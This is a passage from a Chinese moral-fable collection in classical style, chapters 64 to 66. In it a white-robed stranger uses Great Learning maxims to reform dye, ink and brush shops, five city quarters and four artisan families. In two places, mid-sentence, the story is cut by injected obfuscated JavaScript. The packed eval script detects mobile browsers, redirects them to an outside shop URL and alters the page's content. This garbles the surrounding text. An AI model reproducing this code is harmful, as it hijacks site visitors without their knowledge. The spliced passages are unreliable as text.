惕世:多少人求佛求道,不求己心?多少人怨天尤人,不顾己命? - 反思:可曾自明明德?可曾自顾天命?可曾自成峻德? 三、 行胜于言 - 了尘舍衣,是行克明德;了因正师,是行顾明命;了缘克己,是行克明峻德 - 深层隐喻:德不在言说,在践行;明不在外显,在自省 - 终极指向:自明者,不求人知,但求己安;不待外誉,但尽本分 自明偈: 明德寺里三匾争,了尘了因了缘竞。 白衣引之入红尘,各明其德讼方定。 克明德在舍衣衾,顾明命在正师行。 克明峻德在克己,自明原不假外证。 后世叹: 三匾古寺起纷争,皆因僧人不自明。 白衣指点红尘事,克己顺天命自清。 富商闻钟改前非,恶少听偈拜母行。 寄语世间迷途客,莫向心外求光明。 正是: 康诰大甲帝典文,皆言自明德在心。 三匾蒙尘僧争讼,一日经事各自箴。 了尘舍衣明己德,了因正师顾天命。 了缘克己成峻德,自明方是菩提音。 64. 日新谳 楔子三旧讼 陈国旧都睢阳,有百年老铺三家鼎立:东街“日日新”染坊,传三代,以靛蓝驰名;西街“作新民”墨庄,历五世,以松烟著称;南街“惟新堂”笔肆,逾百年,以狼毫见长。三家皆悬古训为匾:“日日新”悬“苟日新,日日新,又日新”,“作新民”悬“作新民”,“惟新堂”悬“周虽旧邦,其命惟新”。 是岁,北地新料涌入,新染、新墨、新笔价廉物美。三家老铺生意凋零,门可罗雀。 染坊主程守旧叹:“祖传秘方,岂可轻改?” 墨庄主方守成曰:“百年老号,贵在守正。” 笔肆主笔守古道:“古法精微,新不如旧。” 三家宁可闭门歇业,亦不肯“逐新”。匠人星散,坊肆蒙尘。 是日,有白衣人策马过市,斗笠面纱,木剑负背,见三匾蒙尘,驻马问:“匾上所言,皆是‘新’字,何以铺面‘旧’气熏天?” 程守旧出揖:“客官不知,吾等守的是祖业根基。” 白衣人指“日日新”匾:“此铭出自商汤盘铭:‘苟日新,日日新,又日新。’汤以七十里兴,在日新其德。今贵坊守旧拒新,是违‘日日新’之训。” 又指“作新民”匾:“此句出自《康诰》:‘作新民。’周公告康叔,治殷民当使自新。今贵庄墨守成规,是悖‘作新民’之旨。” 再指“惟新堂”匾:“此诗出自《大雅》:‘周虽旧邦,其命惟新。’周承旧邦而行新命。今贵肆抱残守缺,是负‘其命惟新’之志。” 三主赧然。白衣人道:“某有一法,可使三家焕新。可愿试之?” 三主相视,拱手:“愿闻!” 一、 染坊日日新 白衣人先入“日日新”染坊。但见染缸污浊,布色黯淡。程守旧苦笑:“秘方传自曾祖,靛蓝十八煮,皂角九捶,然今人喜北地紫红,嫌靛蓝老旧。” 白衣人问:“靛蓝不可新乎?” “如何新?” 白衣人取坊中一匹素布,浸入靛缸,旋即取出,不待全染,即以白醋点洒。布上顿现青白晕纹,如云似水。又取石榴皮、茜草等杂色,局部浸染,竟成“青地紫纹”、“蓝底红花”,古朴中见新意。 程守旧惊:“此…此是何法?” “新法。”白衣人笑,“汤之盘铭,非谓日日革新器具,是谓日日革新其德、其艺。贵坊但知靛蓝,不知靛蓝可杂色;但知全染,不知点染。此非新乎?” 程守旧恍然,即召回流散匠人,试新染法。初时老匠抵制:“祖法不可变!”白衣人问:“尔祖初创时,亦是新法。若尔祖守旧,何来靛蓝?” 老匠语塞。白衣人又教“四季染”:春用柳芽嫩青,夏用荷瓣淡粉,秋用枫叶赭红,冬用雪水漂白。更创“诗纹染”,以蜡作画,染后去蜡,布上现诗一句,或“明月松间照”,或“清泉石上流”。 三月,新染布出,士女争购。程守旧喜,重悬“日日新”匾,加题小字:“日新其艺,日新其色,日新其意。” 白衣人颔首:“善。然勿忘‘日日新’——今日新,明日当更新。” 二、 墨庄作新民 白衣人又至“作新民”墨庄。方守成正对一堆滞销松烟墨发愁。白衣人取一锭,磨墨试笔,摇首:“墨色沉郁,然胶重滞笔。今人书风趋秀逸,此墨不合时宜。” 方守成叹:“松烟古法,九蒸九晒,岂可轻改?” “墨需新,人尤需新。”白衣人自袖中取数物:桐油、珍珠粉、冰片、麝香。“松烟为主,可杂他料:桐烟使墨亮,冰片使墨清,麝香使墨芳。更可制‘四季墨’:春墨加兰香,夏墨加荷露,秋墨加桂屑,冬墨加梅雪。” 方守成迟疑:“此非祖法…” “《康诰》云‘作新民’,非但使民自新,亦使艺自新。”白衣人取松烟,杂以桐油,制出新墨,书于纸,墨色鲜润,且带清香。“今读书人,非但求墨色,更求墨趣。墨有新意,人才趋新。” 方守成心动,试制新墨。然老匠拒用新方:“墨贵纯,杂则劣!”白衣人问:“尔等可知墨之本是书?书之本是道?道贵新,墨岂可固旧?” 遂办“墨会”,邀书生试墨。有狂生题诗嘲:“百年松烟老,滞笔如枯槁。何如北地墨,流畅似春涛。” 方守成惭,白衣人却取新制四季墨,请狂生再试。狂生书罢,惊:“此墨润而不滞,清而不薄,且有幽香,是何方制?” “作新民之墨。”白衣人笑,“墨新,源于人心新。贵庄但知制墨,不知制墨为谁。今读书人求新,墨当从新。” 方守成大悟,广采新方,制出“竹韵墨”(有竹香)、“石髓墨”(有金彩)、“锦绣墨”(七彩纷呈)。更设“墨工新塾”,教年轻匠人制新墨,曰:“作新民,先作新匠。” 三月,新墨行销,墨庄重张。方守成于“作新民”匾下添联:“作新墨,作新匠,作新气象。” 三、 笔肆惟新堂 白衣人最后至“惟新堂”笔肆。笔守古正对狼毫笔叹息:“北地羊毫价廉,狼毫价昂,购者日稀。” 白衣人取一笔,捻毫试锋,道:“笔锋劲健,然过刚。今人书小楷、行草,喜柔中带刚。狼毫可杂羊毫、兼毫,制出新锋。” 笔守古摇头:“狼毫百年口碑,岂可混杂?” “《诗》云‘周虽旧邦,其命惟新。’周承夏商旧邦,而行礼乐新制。贵肆承百年旧艺,岂不能制新笔?”白衣人取数种毫:狼毫、羊毫、马毫、鼠须,更取竹、木、骨、玉为管,试制“百变笔”:狼毫为心,羊毫为被,刚柔相济;竹管雕诗,木管刻画,赏用兼备。 更创“定制笔”:依书生手型、书风,特制笔锋长短、软硬。有秀士手弱,制“弱腕笔”;有壮士力强,制“强腕笔”。 笔守古仍疑:“此非正道…” 白衣人邀其观“笔冢”——肆后荒丘,埋废弃旧笔数千。白衣人指冢叹:“此皆不新之笔。笔不新,人弃之如冢中骨。贵肆欲入冢乎?” 笔守古汗下,遂试新法。然老笔工抵制:“笔有祖型,岂可乱制?” 白衣人设“比笔会”:取北地新笔与“惟新笔”同试。书生盲试,十之七八择“惟新笔”。问其故,答曰:“称手”、“流畅”、“有趣”。 笔守古乃信,大行新制,更创“诗笔”——笔管刻唐诗,笔锋合诗意。如“春风又绿江南岸”笔,锋柔如柳;“铁马冰河入梦来”笔,锋健如铁。 三月,惟新堂客似云来。笔守古于“其命惟新”匾下添注:“笔命惟新,在合时宜;人命惟新,在顺天机。” 四、 三新会 三家革新,睢阳轰动。然有守旧耆老斥:“弃祖法,逐末流,可耻!” 是年端午,三家合办“三新会”,邀全城品评。白衣人为主盟,设三关: 第一关“日日新”:程守旧展出四季染、诗纹染,更现“一日三变布”:晨靛青,午渐蓝,暮转紫。观者称奇。 第二关“作新民”:方守成陈列四季墨、香墨、彩墨,更设“墨戏”,以墨作画,墨香满场。书生争购。 第三关“其命惟新”:笔守古展示百变笔、定制笔、诗笔,更演“一笔书四体”——同一笔,可写篆隶楷草。观者喝彩。 耆老仍嗤:“奇技淫巧!” 白衣人朗声道:“诸公只见技巧,不见其道。汤之日新,在德不在器;周公作新民,在教化不在政令;周邦惟新,在命不在邦。今三家之日新,是承古训而开新境:染坊日新其色,是承‘苟日新’之勤;墨庄作新其墨,是承‘作新民’之化;笔肆惟新其笔,是承‘其命惟新’之志。此非弃祖,是光祖业;非逐末,是开新元。” 取木剑,就场中青石刻铭: “苟日新,非日新其表, 是日新其德。 作新民,非强民以新, 是导民自新。 其命惟新,非改其旧邦, 是焕其新命。 是故君子无所不用其极—— 极心以新德, 极力以新艺, 极志以新命。” 刻毕,三主拜服。耆老中有通儒,叹:“老夫错矣!新不在弃旧,在承旧开新。三家得之。” 自此,睢阳老铺纷纷效仿:老酒坊制新酿,老药铺研新方,老铁铺打新器。白衣人笑谓三主:“新潮既开,当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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歌罢,木剑化柳,植于城楼。每逢春风,柳絮纷飞,如新雪,如新思。 城中童子传唱《日新谣》: “苟日新,日日新, 又日新。 染布要有新花色, 做人要有新精神。 作新民,作新民, 墨要新,人要新。 旧邦新命惟新堂, 笔新命新万象新。 君子无所不用极, 极心极力极志诚。 莫道新不如旧好, 旧根新芽才是春。” 谣声起处,染坊新布飘,墨庄新香溢,笔肆新毫动。 似在说: 新啊,新啊。 在德,在艺,在命。 本章诫世 一、 日新其德 - 苟日新,日日新,又日新——日新在德,不在表 - 破解法:每日自问:今日德可有新进?今日过可有新改? - 示例:染坊日新其色,更日新其德,方是真新 二、 作新民之本 - 作新民——非强民以新,是导民自新 - 惕世:多少人守旧拒新,自诩正统?多少人逐新忘本,沦为浮萍? - 反思:可曾作新民?是表面之新,还是根本之新? 三、 其命惟新 - 周虽旧邦,其命惟新——旧邦可承,新命当立 - 深层隐喻:人虽旧我,命可日新。新命在行善积德,不在改头换面 - 终极指向:君子无所不用其极——极心竭力,日新又新,方是全功 日新偈: 睢阳三家守旧坊,染墨笔三业俱荒。 白衣指点日新法,承旧开新焕荣光。 苟日新在德艺进,作新民在导化彰。 旧邦新命惟新志,君子用极万世昌。 后世叹: 三家老铺百年基,不肯更新渐式微。 白衣引训盘铭诰,旧邦新命焕生机。 染坊色新德守本,墨庄香新匠守规。 笔肆锋新管守正,日新谣唱白云飞。 正是: 汤盘日日新又新,康诰新民殷鉴真。 周虽旧邦命惟新,君子用极在尽心。 三家老店守旧敝,一经点拨焕新春。 寄语世间守成者,莫将祖训化腐尘。 65. 知止谳 楔子五禽讼 荆南有山城名“止止邑”,相传周时文王巡狩至此,闻山民歌曰“止止止”,叹“于止,知其所止”,遂赐邑名。城中有五坊,分悬五匾:东坊“仁止坊”,南坊“敬止坊”,西坊“孝止坊”,北坊“慈止坊”,中坊“信止坊”,取“为人君止于仁,为人臣止于敬,为人子止于孝,为人父止于慈,与国人交止于信”之意。 然百年以降,五坊名存实亡:仁止坊出酷吏,敬止坊出佞臣,孝止坊出逆子,慈止坊出严父,信止坊出奸商。邑人嘲:“五止坊,五不止。” 是岁春,邑中忽现奇事:有黄鸟数百,自南山来,不栖林,不落檐,专聚五坊匾额之上,昼夜鸣叫,声如“止止止”。邑人驱之不去,以为异兆。 邑宰荀仁(居仁止坊)疑:“鸟止匾上,是警吾等不知止乎?” 师爷贾敬(居敬止坊)谄:“明公多虑,鸟雀无知。” 富商钱信(居信止坊)嗤:“何不捕鸟售之?” 正纷扰间,有白衣人乘白马入邑,斗笠面纱,木剑悬腰,仰观匾上黄鸟,朗声诵诗: “缗蛮黄鸟,止于丘隅。” 又诵: “穆穆文王,於缗熙敬止!” 诵罢,问众人:“鸟知止于丘隅,人知止于何处?” 众愕然。白衣人指五匾:“此五止,人伦之止。今五坊五不止,是人之不如鸟也。” 荀仁揖问:“请先生明示。” 白衣人道:“某有一法,可使五坊知止。请五坊各出一人,随我行一日,观五桩‘知止’公案。” 一、 仁止谳(东坊) 东坊屠户牛大,性暴虐,常殴妻虐子。是日,因妻置菜稍咸,竟举刀追砍。妻逃入仁止坊,坊正荀仁乃邑宰,闻报蹙眉:“清官难断家务事。” 白衣人引荀仁至,问:“宰为邑父母,当止于何?” 荀仁答:“当止于仁。” “今子民相残,宰坐视,是仁否?” 荀仁汗颜,即升堂问案。牛大嚷:“吾打自家婆娘,干官甚事?” 白衣人问:“尔居仁止坊,可知‘止于仁’?” 牛大嗤:“屠户但知宰畜,不知仁字。” 白衣人忽指匾上黄鸟:“黄鸟尚知止于丘隅,尔为人,不知止于仁乎?仁者爱人,尔爱妻否?爱子否?” 牛大语塞。白衣人又谓荀仁:“为人君,止于仁。宰为一邑之君,当以仁化民,非以法慑民。今牛大不知仁,宰当教之。” 荀仁乃判:牛大当街向妻谢罪,并禁屠三日,思仁。牛大初不服,白衣人取木剑击其屠刀,刀身现字:“刀可宰畜,不可伤人;人可有怒,不可无仁。”牛大惊,方谢罪。 白衣人谓荀仁:“仁非不罚,是罚中带教。今宰使悍夫知悔,是行仁。然仁无止境,当‘穆穆文王,於缗熙敬止’,绵绵不息。” 荀仁拜服,重悬“仁止坊”匾,自题“仁者爱人,爱人者人恒爱之”。自此,凡坊中纠纷,先以仁教,后以法绳。 二、 敬止谳(南坊) 南坊有富户主仆,主名赵贵,仆名阿忠。赵贵刻薄,常辱阿忠:“贱奴,离吾门,饿死路旁!”阿忠忍气吞声。 师爷贾敬过其门,佯装不见。白衣人引贾敬至,问:“师爷为邑宰佐贰,当止于何?” 贾敬答:“当止于敬。” “敬上乎?敬下乎?” 贾敬语塞。白衣人道:“为人臣,止于敬。敬非只敬上,是敬职、敬人、敬事。今主虐仆,师爷见而不问,是失敬。” 贾敬惭,遂入赵宅劝。赵贵嗤:“吾训家奴,干卿何事?” 白衣人问:“尔可知‘敬’字?敬人者,人恒敬之;辱人者,人恒辱之。今尔辱仆,他日或有辱尔者。” 赵贵大笑:“谁敢辱吾?” 话音未落,有债主上门逼债,辱赵贵:“欠债不还,猪狗不如!”赵贵赧然。白衣人曰:“此即现世报。尔若不改,他日受辱更甚。” 赵贵悟,向阿忠赔礼,改以礼待。阿忠泣谢。 白衣人谓贾敬:“敬,非唯唯诺诺,是持正守分。师爷敬职,当劝主以正;敬人,当恤仆以仁。今事已了,然敬无止境,当如文王‘於缗熙敬止’,庄敬不息。” 贾敬愧,于“敬止坊”匾下立“敬训碑”,刻“敬上敬下,敬人敬己”。自此,坊中主仆相敬,少闻呵斥。 三、 孝止谳(西坊) 西坊有寡母陈氏,育子刘顺。顺长成,娶妻王氏。王氏悍妒,厌姑老,唆顺逐母。顺初不肯,王氏以休妻胁,顺遂筑草屋于郊,置母其中,月供糙米三升。 陈氏泣告坊邻,邻人皆责顺。顺强辩:“吾妻亦孝,然婆媳难处。” 白衣人引孝止坊老宿钱孝(钱信之父)至草屋,问:“老者,尔居孝止坊,可知孝道?” 钱孝年高昏聩,喃喃:“孝…顺为孝…” 白衣人指陈氏:“此母育子,子弃之,是顺乎?孝乎?” 钱孝恍然,拄杖责顺:“逆子!吾坊名孝止,岂容尔败辱!” 顺不服:“吾家事,外人莫管!” 白衣人忽诵:“於止,知其所止,可以人而不如鸟乎! 黄鸟知止丘隅,尔为人子,不知止于孝乎?孝者,养亲之身,顺亲之心。今尔养而不敬,顺妻逆母,禽兽不如!” 又谓钱孝:“为人子,止于孝。老丈为坊宿,当以孝化人,非只责人。” 钱孝乃召全坊,开“孝堂”,请陈氏上坐,命顺夫妇跪听《孝经》。坊中子弟皆观。顺惭悔,背母归家,出王氏。王氏泣悔,誓改。 白衣人谓钱孝:“孝非虚礼,是实心奉养。今逆子知悔,是孝道可化。然孝无止境,当‘止于至善’。” 钱孝遂于坊中设“孝老堂”,供养孤寡。西坊渐成孝义之乡。 四、 慈止谳(北坊) 北坊有严父郑苛,教子极严,子郑勤稍有怠,辄鞭笞。勤年十五,遍体鳞伤,逃学游荡。 慈止坊坊正严慈(名慈实严),闻之反赞:“严父出孝子!” 白衣人引严慈至郑宅,正值郑苛鞭子。勤哀嚎,郑苛骂:“不成器,打死也罢!” 白衣人止之:“为人父,当止于何?” 郑苛答:“止于严!” “非也,《大学》云:为人父,止于慈。” 郑苛嗤:“慈母多败儿!” 白衣人问:“尔可知黄鸟育雏?雏饥喂食,雏寒覆羽,是严乎?慈乎?” 郑苛语塞。白衣人道:“慈非溺爱,是严慈相济。过严则子惧,过慈则子骄。今尔鞭笞无度,是失慈。子逃学,是畏学,非厌学。” 又谓严慈:“坊正居慈止坊,当倡慈道。今坊中有严无慈,坊名虚设。” 严慈惭,劝郑苛。郑苛不改。白衣人取木剑,就地上划一痕,曰:“此痕为界。子有过,父可教,不可越此痕鞭之。越痕则伤慈。” 郑苛不从,举鞭越痕。忽有黄鸟数只,飞啄其手。郑苛惊,鞭落。白衣人曰:“禽鸟尚知护雏,尔为人父,不知慈乎?” 郑苛悟,抱子泣。自此严慈有度,勤力学。 白衣人谓严慈:“慈,是爱中有教,教中有爱。坊正当化导坊民,使父慈子孝。然慈无止境,当如天地育物,生生不息。” 严慈遂于坊中设“慈幼堂”,教严父慈道。北坊渐有慈名。 五、 信止谳(中坊) 中坊富商钱信,开“信义当铺”,然出轻入重,欺压贫民。有佃户周实,以祖传玉镯典银十两救母,约期三月。期满,周实携本利赎,钱信竟称“镯有瑕”,只值五两。周实愤而争辩,钱信命仆逐之。 白衣人引钱信至当铺,正值周实哭诉。钱信傲然:“买卖自愿,何欺之有?” 白衣人问:“尔铺名‘信义’,尔居信止坊,可知信字?” “信者,契约也。彼逾期三日,吾按约扣抵,何不信?” 白衣人取当票,指“玉镯一只,值银十两”字样:“镯在何处?” 钱信出示玉镯,果有微瑕。白衣人问:“典当之日,尔可曾言瑕?” 钱信语塞。白衣人道:“与国人交,止于信。信非只守契,是存诚心。尔见瑕不告,是欺;压价不公,是诈。此等行径,是信否?” 又谓围观者:“信止坊,当人人守信。今有坊民失信,全坊蒙羞。黄鸟尚知止于丘隅,人不知止于信乎?” 众皆责钱信。钱信惭,退镯还银,更赔银五两谢罪。周实泣谢。 白衣人谓钱信:“信,是立身之本。商无信不立,人无信不行。今尔知悔,善莫大焉。然信无止境,当终身守之。” 钱信遂改铺规:典当之物,有瑕必告;估价买卖,童叟无欺。更于坊中设“信义榜”,旌表守信者。中坊渐复“信止”之名。 六、 五止会 五坊事毕,白衣人集众于邑中“止止台”,黄鸟群集,环台而鸣。 白衣人朗声道:“《诗》云:‘邦畿千里,惟民所止。’民之所止,在仁、敬、孝、慈、信。今五坊各经一事,可知止乎?” 荀仁曰:“仁者爱人,非空言,是力行。吾知止于仁矣。” 贾敬曰:“敬者持正,非谄上,是敬事。吾知止于敬矣。” 钱孝曰:“孝者奉养,非虚礼,是诚心。吾知止于孝矣。” 严慈曰:“慈者育教,非溺纵,是严慈。吾知止于慈矣。” 钱信曰:“信者守诚,非契约,是良心。吾知止于信矣。” 白衣人颔首:“善。然知止非一时,是终身。鸟知止丘隅,因丘隅可栖;人知止五伦,因五伦可安。今五坊知止,当使全邑知止。” 遂率众重悬五坊匾,更于“止止台”立碑,刻《大学》章句,并加跋: “仁止坊, 非止 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088217|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于不行, 是止于爱人。 敬止坊, 非止于不争, 是止于持正。 孝止坊, 非止于不逆, 是止于奉养。 慈止坊, 非止于不严, 是止于育教。 信止坊, 非止于不欺, 是止于守诚。 五止俱备, 邑可止于善。” 碑成,黄鸟群飞,各栖五匾,鸣声如乐。邑人奇之,白衣人道:“鸟知人所止,故来和鸣。人若不止,鸟亦不栖。” 自此,五坊民各守其止:仁止坊多仁人,敬止坊多敬事,孝止坊多孝子,慈止坊多慈父,信止坊多信商。邑风一新。 尾声知止谣 三年后,止止邑成礼义之乡。有外邑恶少来扰,见邑人仁让、敬事、孝亲、慈幼、守信,惭而自改。 白衣人偶过,见童子嬉戏,唱《知止谣》: “黄鸟黄鸟止丘隅, 人不如鸟知止乎? 仁止坊里知爱人, 敬止坊里知敬主。 孝止坊里知奉养, 慈止坊里知育抚。 信止坊里知守诚, 五止俱全是完人。 文王穆穆敬不止, 君子学他止于仁。” 白衣人笑问:“汝等知止,止于何处?” 童答:“爷爷说,止于做好人。” “如何是好人?” “仁爱好人,敬重好人,孝顺好人,慈爱好人,信实好人。” 白衣人拊掌。有老叟来,正是钱孝,邀白衣人茶。席间问:“先生,五止之外,尚有止否?” 白衣人答:“五止是人伦之止。此外,学无止,行无止,德无止。然知人伦之止,可立根基。譬如筑室,先固地基,方可起高楼。” 又指天:“天行健,君子以自强不息。知止,非止步,是知所当止之处。于仁敬孝慈信处止,于进德修业处不息。” 老叟拜服。白衣人踏歌出邑,歌曰: “邦畿千里民所止, 黄鸟丘隅知所之。 文王穆穆敬不止, 君子五止是根基。 仁敬孝慈信, 五止如五趾。 趾稳身方立, 身立可行远。” 歌罢,木剑化梅,植于止止台畔。每岁冬尽,梅开五瓣,邑人云“五止梅”。 后有游学士子过邑,问:“五止之说,岂非拘泥?” 邑童答:“黄鸟知止,故不困;人知止,故不殆。先生不见五止梅?五瓣各展,终成一花。” 学子恍然,题诗壁上: “知止非是止不行, 五伦止处是根本。 黄鸟丘隅有深意, 文王穆穆敬中寻。” 邑人传诵,以为至理。 本章诫世 一、 知其所止 - 黄鸟止于丘隅,人当止于仁、敬、孝、慈、信 - 破解法:每日自问:我于仁止否?于敬止否?于孝止否?于慈止否?于信止否? - 示例:五坊各不知止,经事方知止处 二、 五止之义 - 为人君,止于仁;为人臣,止于敬;为人子,止于孝;为人父,止于慈;与国人交,止于信 - 惕世:多少人为君不仁?为臣不敬?为子不孝?为父不慈?交友无信? - 反思:我在五伦中,可止于当止之处? 三、 不止之止 - 知止非止步,是知所当止。于伦常当止,于进德不当止 - 深层隐喻:鸟知止,故得安栖;人知止,故得安心 - 终极指向:穆穆文王,於缗熙敬止——敬慎不息,是知止之真义 知止偈: 止止邑中五坊非,仁敬孝慈信俱违。 黄鸟集匾鸣不止,白衣引经指皈依。 屠户知仁谢妻罪,主仆知敬不相欺。 逆子知孝奉寡母,严父知慈教有仪。 奸商知信退玉镯,五止俱备民风熙。 寄语世间迷途客,知止方是安乐基。 后世叹: 五坊空悬五止匾,伦常颠倒不如禽。 白衣指点五桩案,人人知止邑风新。 黄鸟来集非异兆,文王诗句是金箴。 至今止止台前梅,五瓣常开示止心。 正是: 邦畿千里民所止,黄鸟丘隅知所之。 为人君者止于仁,为人臣者止于敬。 为人子者止于孝,为人父者止于慈。 与国人交止于信,五止备尽是完人。 止止邑中五坊讼,白衣指点各归真。 寄语世间流浪客,知止方是安乐津。 66. 斐玉谳 楔子四匠讼 淇水之滨有城名“斐玉邑”,邑中多竹,猗猗成林。相传古时有君子游此,见竹而有悟,作“如切如磋,如琢如磨”之句,邑遂得名。城中有四匠世家:治玉的陆氏、攻石的郑氏、斫琴的焦氏、铸剑的薛氏,皆以“切磋琢磨”为祖训,悬匾于门。 然百年以降,四匠技艺虽精,德性渐衰:陆氏玉工以次充好,郑氏石匠偷工减料,焦氏琴师恃才傲物,薛氏剑师争强斗狠。邑人嘲:“切磋琢磨,切利磋名,琢伪磨诈。” 是年仲夏,淇水暴涨,冲毁古碑,碑文现于河滩,正是“瞻彼淇澳,菉竹猗猗。有斐君子…”全章。邑人聚观,有老者叹:“此君子之德,今安在哉?” 忽有白衣人策马而至,斗笠面纱,木剑悬腰,下马观碑,朗声诵道: “‘如切如磋’者,道学也; ‘如琢如磨’者,自修也; ‘瑟兮僩兮’者,恂栗也; ‘赫兮喧兮’者,威仪也。” 诵罢,环视四匠:“四家皆悬‘切磋琢磨’,可知其真义?” 四匠主出列揖问。白衣人道:“切磋琢磨,非仅治器,是治德。今某有一法,可使四家明德。可各持祖匾,随我行一日,见四桩‘斐玉’公案。” 一、 切磋谳(道学) 陆氏玉工名陆琨,有徒三人。陆琨授艺藏私,每教必留一手,恐徒超己。是日,三徒合制一玉佩,纹路不协,求师指点。陆琨冷笑:“切磋琢磨,在自悟!”拂袖而去。 白衣人引陆琨至玉坊,指匾问:“‘如切如磋’,何谓也?” 陆琨答:“治玉之法,切以去瑕,磋以成形。” “非也。《大学》云:‘如切如磋者,道学也。’道学,是与师友切磋学问。今尔为师,不与徒切磋,是违道学。” 陆琨不服:“艺不轻传!” 白衣人取璞玉一方,问三徒:“此玉可治何物?” 大徒曰:“可治璧。” 二徒曰:“可治璜。” 三徒曰:“可治玦。” 白衣人颔首:“三人三见,切磋则明。尔等试共治之。” 三徒协作,切、磋、琢、磨,竟成“三合璧”:一玉三分,各成璧、璜、玦,合则成璧。观者称绝。 白衣人谓陆琨:“切磋之道,在互益。尔藏私,徒不进,尔亦不进。譬如竹,独竹易折,丛竹抗风。道学亦然,独学无友,孤陋寡闻。” 陆琨惭,遂开“琢玉会”,与徒共研,更邀郑、焦、薛三氏互鉴。玉技大进,所制“淇澳竹纹佩”,风行一时。 二、 琢磨谳(自修) 郑氏石匠名郑硕,善雕碑。然性躁,常半途而废。是岁受刻“斐玉碑”,摹古碑文,刻三月,误一字,怒欲碎碑。 白衣人引郑硕至碑前,指匾问:“‘如琢如磨’,何谓也?” 郑硕答:“治石之法,琢以成胚,磨以成光。” “非也。《大学》云:‘如琢如磨者,自修也。’自修,是精益求精,如琢如磨,不辍不息。今尔一误即弃,是不知琢磨。” 郑硕辩:“石已损,不可救!” 白衣人取误字处,以凿轻琢,改误笔为竹节;又磨四周,成竹枝纹。误字竟成“竹字纹”,与碑文“菉竹猗猗”相映成趣。 “误可改,败可成。”白衣人道,“自修之道,在遇挫愈进。昔夫子学琴,一曲习十日,是琢磨;匠石运斤,斫垩不伤鼻,是琢磨。今尔一误即躁,岂是君子?” 郑硕悟,遂静心重刻。三年,碑成,字如竹挺,纹如竹曳,人称“竹韵碑”。郑硕自题:“琢磨非仅治石,是治性。性躁石损,性静石成。” 三、 瑟僩谳(恂栗) 焦氏琴师名焦桐,制琴冠绝一方,然恃才傲物,轻慢宾客。有寒士慕名求琴,焦桐见其衣敝,嗤:“吾琴千金,尔可购乎?”寒士赧退。 白衣人引焦桐至琴室,指匾问:“‘瑟兮僩兮’,何谓也?” 焦桐傲然:“瑟,庄重也;僩,武毅也。吾制琴时,庄重武毅,正是瑟僩。” “差矣。《大学》云:‘瑟兮僩兮者,恂栗也。’恂栗,是谨慎敬畏。今尔恃才傲物,何恂栗之有?” 恰有琴客至,焦桐不迎,自顾调弦。白衣人问客:“闻焦琴师琴艺无双,可愿一听?” 客曰:“愿闻。” 焦桐抚琴,果妙绝。然白衣人叹:“琴音傲,失中和。昔师旷鼓琴,玄鹤起舞;伯牙鼓琴,子期知音。今尔琴中无敬,何以感人?” 焦桐不服。白衣人自取焦桐所弃废材,斫琴一张,形制古朴。奏《淇澳》之曲,声如竹吟,清肃庄敬,闻者肃然。 焦桐惊问:“此材下品,何以至此?” 白衣人道:“材有上下,心无高低。尔心傲,故琴音傲;吾心敬,故琴音敬。瑟兮僩兮,非外显庄武,是内心恂栗。心存敬畏,琴自有威。” 焦桐大惭,遂改性谦恭,设“共琴堂”,有求必应。后制“恂栗琴”,音色肃穆,人谓“有君子风”。 四、 赫喧谳(威仪) 薛氏剑师名薛芒,铸剑锋利,然好勇斗狠,常与人比剑伤和。是日,有游侠论剑,语侵薛芒,薛芒怒而挑战,断其剑。 白衣人引薛芒至剑庐,指匾问:“‘赫兮喧兮’,何谓也?” 薛芒振剑:“赫喧,威仪赫赫也!吾剑出,群雄慑服,正是威仪!” “谬哉。《大学》云:‘赫兮喧兮者,威仪也。’威仪,是德威仪态,非武力慑人。今尔以剑凌人,何威仪之有?” 薛芒不服。白衣人取木剑,曰:“尔剑利,可断吾木剑否?” 薛芒笑,挥剑斩之。然木剑柔韧,竟不断。三斩不断,薛芒惊。 白衣人道:“剑之威,在德不在锋。昔季札挂剑,是信威;项羽扛鼎,是力威。今尔恃力,威仅及身;若恃德,威及四方。赫喧威仪,是德盛自然之光,非强横霸道之气。” 薛芒拜问:“何以修德威?” 白衣人引其观竹:“竹,中空有节,挺拔不折。君子如竹,虚心有节,是谓威仪。尔铸剑,亦当铸德:剑锋如竹节,刚直不阿;剑德如竹心,虚怀若谷。” 薛芒悟,遂改行“德剑”:铸剑必先修心,售剑必问其用。有暴客购剑,拒之;义士求剑,赠之。后铸“竹节剑”,剑身有节纹,铭“赫喧在德”。 五、 斐玉会 四匠各悟,白衣人集于淇澳竹林,设“斐玉会”。 白衣人指竹道:“《诗》云‘瞻彼淇澳,菉竹猗猗。有斐君子,如切如磋…’竹有七德:虚、直、节、韧、青、群、固。君子如竹,切磋琢磨以成德。” 遂请四匠各献新作: 陆琨献“三合璧”,曰:“此璧由三徒合制,喻切磋之道。吾悟:道学在共进,非独藏。” 郑硕立“竹韵碑”,曰:“此碑由误改就,喻琢磨之功。吾悟:自修在恒毅,非躁弃。” 焦桐奏“恂栗琴”,曰:“此琴由废材成,喻瑟僩之敬。吾悟:恂栗在谦畏,非傲慢。” 薛芒示“竹节剑”,曰:“此剑以竹为铭,喻赫喧之威。吾悟:威仪在德盛,非力强。” 白衣人拊掌:“善!四子已得切磋琢磨之真义。然《诗》云‘有斐君子,终不可諠兮’,道盛德至善,民不能忘。四子之德,可能令人不忘否?” 四匠相视。白衣人道:“德盛在行,非在言。请四子开‘斐玉塾’,传艺授德,使君子之风,永传淇澳。” 四匠应诺。遂于竹林建塾,陆琨授“切磋道”,郑硕授“琢磨功”,焦桐授“瑟僩礼”,薛芒授“赫喧德”。四方学子来从,淇澳之间,琅琅书声与竹韵相和。 六、 不可諠 十年后,斐玉邑成礼乐之乡。四匠老矣,子弟继业。有客过淇澳,见竹益猗猗,问童子:“昔有斐君子,今有乎?” 童子指竹林:“此间皆是。” “何在?” 